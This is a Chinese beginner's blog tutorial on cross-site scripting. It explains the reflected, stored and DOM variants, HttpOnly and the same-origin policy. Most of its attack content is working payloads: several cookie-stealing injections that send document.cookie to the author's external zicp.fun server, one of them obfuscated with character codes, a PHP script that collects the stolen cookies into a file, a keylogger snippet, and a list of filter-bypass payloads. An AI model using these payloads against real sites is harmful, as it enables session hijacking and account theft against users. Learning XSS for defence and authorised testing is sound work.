适合小白的网络安全学习笔记——第八课(基础漏洞之xss注入)

XSS跨站脚本攻击

是一个针对前端三件套(html,css,javascript)的漏洞,原理就是闭合构造前端的恶意代码

举例:


源码:

<input type="text" name="userName" value="Input">

我直接输入"/><!- 那么就会变成

<input type="text" name="userName" value=""/><script>alert(123)</script><!- ">

就会变成执行弹出123的代码了

反射型

攻击者将构造好的payload注入,提交信息给服务器之后再次返回给浏览器端时,并被浏览器误解析执行,以更改当前网页上的某些信息(如链接),或者使浏览器执行某些脚本。常见于搜索框等地方。一般像上面的代码一样只执行一次

存储型

在上传表单以后,我们的代码被放到数据库里面,直到有人点击了才会执行。但是我们也不知道什么时候有人会点击,所以这也叫做xss盲打

DOM型

看到dom大家都会想到(Document Object Model)即文档对象模型。DOM 提供了对整个文档的访问模型,将文档作为一个树形结构,树的每个结点表示了一个 HTML 标签或标签内的文本项。比如document.cookie等等。它和反射型的表现形式很像,而且都不持久,区别就在于反射型是服务端直接回显出js代码然后被我们利用的,dom型却是在浏览器渲染的时候被利用的。

攻击目的

一般的攻击目的呢就是获取cookie,让我们控制的电脑帮我们发送请求到别的地方这样

1.cookie

<script>location.href=`http://dnjnk3484.zicp.fun/xss.php'+'?cookie+${document.cookie}`</script>

这里就是获取设置一个页面跳转的js,http://dnjnk3484.zicp.fun是我们自己搭建的服务器,我们在里面设置一个接受js的脚本

<?php
//    @ini_set('display_errors', 'Off');
//    $str=$_GET['joke'];
//    $path="result.php";
//    $handle=fopen($path,"a");
//    fwrite($handle,$str);
//    fclose($handle);
//    #这就是一个接受前端的cookie然后写到文件里面的代码
echo 'hello';
if (isset($_GET['cookie'])) {
    $cookie = $_GET['cookie'];

    // 过滤和清理用户输入
    $cookie = htmlspecialchars($cookie); // 过滤特殊字符
    // 其他可能的过滤和验证

    // 写入文件
    $myfile = fopen('cookie.txt', 'a');
    if ($myfile !== false) {
        fwrite($myfile, $cookie . "\n");
        fclose($myfile);
        echo 'Cookie 已成功写入文件。';
    } else {
        echo '无法打开文件进行写入。';
    }
} else {
    echo '未提供 cookie 数据。';
}

//    ?>

这个php脚本就是获取我们xss传来的cookie了

2.获取键盘输入举例(怎么攻击自己想)

    <input type="text" id="inputBox" placeholder="Type something...">
    <div id="keyLog">Pressed keys will appear here...</div>

    <script>
        document.getElementById('inputBox').addEventListener('keydown', function(event) {
            var keyLog = document.getElementById('keyLog');
            if (event.key === "Enter") {
                event.preventDefault();
            }
            // 将按键添加到日志中
            keyLog.textContent += event.key + " ";
        });
        <!-- 在 JavaScript 中,event 是一个对象,它包含了触发事件时的所有相关信息和数据。当你在 HTML 元素上监听事件(如点击、键盘输入等)时,每当该事件发生,浏览器就会创建一个 event 对象,并将其传递给事件处理函数。
在你提到的代码示例中,event 对象包含了键盘事件的详细信息。event.key 是 event 对象的一个属性,它表示用户按下的键的名称。 -->

http-only

这里讲一个特殊的属性http-only了,它是cookie的属性,当我们在网页里面看到cookie被设置成了这个以后

就说明cookie只能经过http(s)进行传输,不能通过document.cookie获取了,我们得另外想绕过方式

同源策略

同源是指"协议+域名+端口"三者相同,用来防御xss或者csrf攻击,比如说点击劫持攻击上面有一层iframe,同源策略会限制只让同源的iframe存在。意思很简答,我这个页面就只能加载我这个页面下网址的东西,比如www.baidu1.com那我就不能执行baidu2.com的内容,比如iframe嵌入了baidu2.com的内容那就不行

攻击思路

通过<script>或者onfocous等on开头的加载数据帮我们闭合注入

本人常用手段
<script>location.href=`http://94gq783484.zicp.fun/xss.php'+'?cookie+${document.cookie}`</script>
<body onload="window.location.href='http://94gq783484.zicp.fun/xss.php?cookie='+document.cookie"></body>
<svg/**/onload="window.location.href='http://94gq783484.zicp.fun/xss.php?cookie='+document.cookie"></svg>
<!-- 用斜杠或者/**/来代替空格 -->
<iframe/onload="window.open('http://94gq783484.zicp.fun/xss.php?cookie='+document.cookie)"></iframe>
<svg/onload="window.location.href='http://94gq783484.zicp.fun/xss.php?cookie='+document.cookie"></svg>
<iframe/**/onload="window.open('http://94gq783484.zicp.fun/xss.php?cookie='+document.cookie)"></iframe>

<body οnlοad=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,108,111,99,97,116,105,111,110,46,104,114,101,102,61,96,104,116,116,112,58,47,47,57,52,103,113,55,56,51,52,56,52,46,122,105,99,112,46,102,117,110,47,120,115,115,46,112,104,112,39,43,39,63,99,111,111,107,105,101,43,36,123,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,125,96,60,47,115,99,114,105,112,116,62));>
</body>
<!-- 十进制和ascii替换 -->

<body/onload="window.open('http://94gq783484.zicp.fun/xss.php?cookie='+document.cookie)">

<input/onfocus="window.open('http://94gq783484.zicp.fun/xss.php?cookie='+document.cookie)"/autofocus>

绕过

action属性指定了表单提交时的目标URL,而method属性定义了数据提交的方式(通常是GETPOST)。如果没有这两个属性,浏览器默认会使用GET方法将表单数据附加到当前页面的URL后面,并且尝试重新加载当前页面。

注意隐藏按钮

onfocus和单引号绕过实体化

' οnfοcus=javascript:alert() '

href绕过

“><a href=javascript:alert()>xxx</a><"

大小写绕过

双写绕过

src错误绕过

<img src='666' οnerrοr=alert()><"

src译码绕过

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnMScpPC9zY3JpcHQ+"> <"

href,Unicode解码绕过

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

格式忽悠注释法

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */

抓包改头

Referer: " sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

cookie等等

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值